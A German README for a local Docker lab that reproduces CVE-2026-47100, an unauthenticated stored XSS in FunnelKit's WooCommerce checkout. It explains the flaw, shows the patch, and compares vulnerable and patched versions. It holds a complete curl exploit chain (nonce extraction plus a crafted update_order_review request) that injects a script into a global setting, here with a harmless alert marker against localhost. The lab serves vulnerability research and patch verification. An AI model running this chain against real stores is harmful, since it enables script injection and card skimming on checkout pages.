
Lokales Docker-Labor zur Reproduktion von CVE-2026-47100, einer unauthentifizierten Stored-XSS-Schwachstelle in FunnelKit für WooCommerce. Enthält PoC-Skripte zum Vergleich von verwundbaren und gepatchten Versionen.
Lokales Docker-Lab zur Reproduktion von CVE-2026-47100 auf sichere, möglichst risikoarme Weise. Dieses Lab vergleicht eine verwundbare FunnelKit-Version mit einer gepatchten Version und verifiziert das Verhalten mithilfe eines harmlosen JavaScript-Markers/Alerts.
CVE-2026-47100 ist eine Schwachstelle mit fehlender Autorisierung in Funnel Builder / FunnelKit für WooCommerce Checkout vor Version 3.15.0.3.
Der verwundbare Checkout-AJAX-Ablauf erlaubt es nicht authentifizierten Besuchern, eine interne Plugin-Methode aufzurufen und Daten in FunnelKits integrierte globale Einstellung für externe Skripte zu schreiben. Da diese Einstellung später auf FunnelKit-Checkout-Seiten ausgegeben wird, kann das Problem zu nicht authentifiziertem Stored XSS auf Checkout-Seiten führen.
Dieses Repository reproduziert das Problem lokal mit zwei Docker-Diensten:
| Dienst | Version | URL | Erwartetes Ergebnis |
|---|---|---|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | verwundbares Verhalten bestätigt |
patched | 3.15.0.3 | http://127.0.0.1:8082 | Schreiben blockiert / Marker nicht ausgegeben |

Erste CVE-Auswahl aus der Vulnx-Ausgabe. Das Lab und der PoC wurden manuell durch Vergleich von verwundbarem und gepatchtem Verhalten erstellt.
Ein nicht authentifizierter Angreifer kann den öffentlichen Checkout-AJAX-Ablauf missbrauchen, um JavaScript dauerhaft in FunnelKits globale Einstellung für externe Skripte zu schreiben.
In einem echten WooCommerce-Shop könnte dadurch bösartiges JavaScript im Browser von Nutzern ausgeführt werden, die die Checkout-Seite besuchen. Öffentliche Berichte haben diese Schwachstellenklasse mit Checkout-Skimming-Kampagnen in Verbindung gebracht.
Dieses Lab verwendet absichtlich nur einen harmlosen Nachweis-Marker:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
Die verwundbare Version akzeptiert nutzerkontrollierte Checkout-Daten vom öffentlichen WooCommerce-AJAX-Endpunkt:
/?wc-ajax=update_order_review
Innerhalb des FunnelKit-Checkout-Ablaufs kann die Anfrage Folgendes enthalten:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
Die verwundbare Logik prüft, ob der übergebene Aktionsname als Klassenmethode existiert. Wenn die Methode existiert, kann sie aus dem öffentlichen Checkout-Ablauf heraus aufgerufen werden.
Vereinfachtes verwundbares Verhalten:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
Die wichtige, vom Angreifer kontrollierte Aktion ist:
update_global_settings_fields
Diese Methode aktualisiert die WordPress-Option:
_wfacp_global_settings
und insbesondere den integrierten FunnelKit-Schlüssel:
wfacp_global_external_script
Der gespeicherte Wert wird später von der Checkout-Vorlage gelesen und auf der Checkout-Seite ausgegeben. Dadurch entsteht die Stored-XSS-Bedingung.
Exploit-Kette:
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
Version 3.15.0.3 härtert den verwundbaren Pfad mit zwei wichtigen Änderungen.
Die gepatchte Version schränkt ein, welche Checkout-Aktionen aus dem öffentlichen Checkout-Ablauf aufgerufen werden können.
Vereinfachtes gepatchtes Verhalten:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
Dadurch wird verhindert, dass beliebige interne Methoden wie update_global_settings_fields durch nicht authentifizierte Checkout-Anfragen ausgelöst werden.
Die gepatchte Version fügt außerdem eine Autorisierungsprüfung hinzu, bevor globale Einstellungen aktualisiert werden können:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
Das bedeutet, dass die globale Einstellung für externe Skripte nur von Benutzern mit WooCommerce-Verwaltungsrechten beschreibbar sein sollte.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
Der Seed-Prozess erstellt:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
Das Lab verwendet eine deterministische Checkout-URL:
/?post_type=wfacp_checkout&p=11
Diese lädt den FunnelKit-Checkout-Custom-Post im lokalen Docker-Lab explizit.
Das Lab starten:
docker compose up -d --build
Dienste prüfen:
docker compose ps
Erwartete Dienste:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Python-Abhängigkeiten installieren:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py ist der deterministische Lab-PoC.
Er geht von den lokalen Docker-Seed-Werten aus:
product_id = 10
checkout_post_id = 11
Gegen den verwundbaren Dienst ausführen:
python3 poc/poc_lab.py http://127.0.0.1:8081
Erwartetes Ergebnis:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Gegen den gepatchten Dienst ausführen:
python3 poc/poc_lab.py http://127.0.0.1:8082
Erwartetes Ergebnis:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py ist ein portableres autorisiertes Selbsttest-Tool.
Nur passiver Check:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Aktiver autorisierter Check:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Nur-Marker-Modus ohne Alert:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Bereinigungsversuch:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
Eine neue WooCommerce-Sitzung erstellen und das Lab-Produkt in den Warenkorb legen:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
Die FunnelKit-Checkout-Seite abrufen und das WooCommerce-Checkout-Nonce extrahieren:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
Die manipulierte Checkout-AJAX-Anfrage senden:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Prüfen, ob die Option geschrieben wurde:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Erwartetes Ergebnis:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
Prüfen, ob der Marker ausgegeben wird:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Im Browser öffnen, um den harmlosen Alert zu sehen:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
Denselben Ablauf gegen Port 8082 wiederholen:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Prüfen, ob die Option unverändert bleibt:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Erwartetes Ergebnis:
[]
Prüfen, ob der Marker nicht ausgegeben wird:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Erwartetes Ergebnis: keine Ausgabe.
Der verwundbare Dienst bestätigt das Problem, wenn alle folgenden Bedingungen zutreffen:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
Der gepatchte Dienst bestätigt den Fix, wenn:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
Dieses Repository ist ausschließlich für lokale, autorisierte Sicherheitsforschung bestimmt.
Zulässiger Umfang:
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
Nicht zulässig:
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
Der PoC verwendet ausschließlich einen harmlosen Alert und Marker.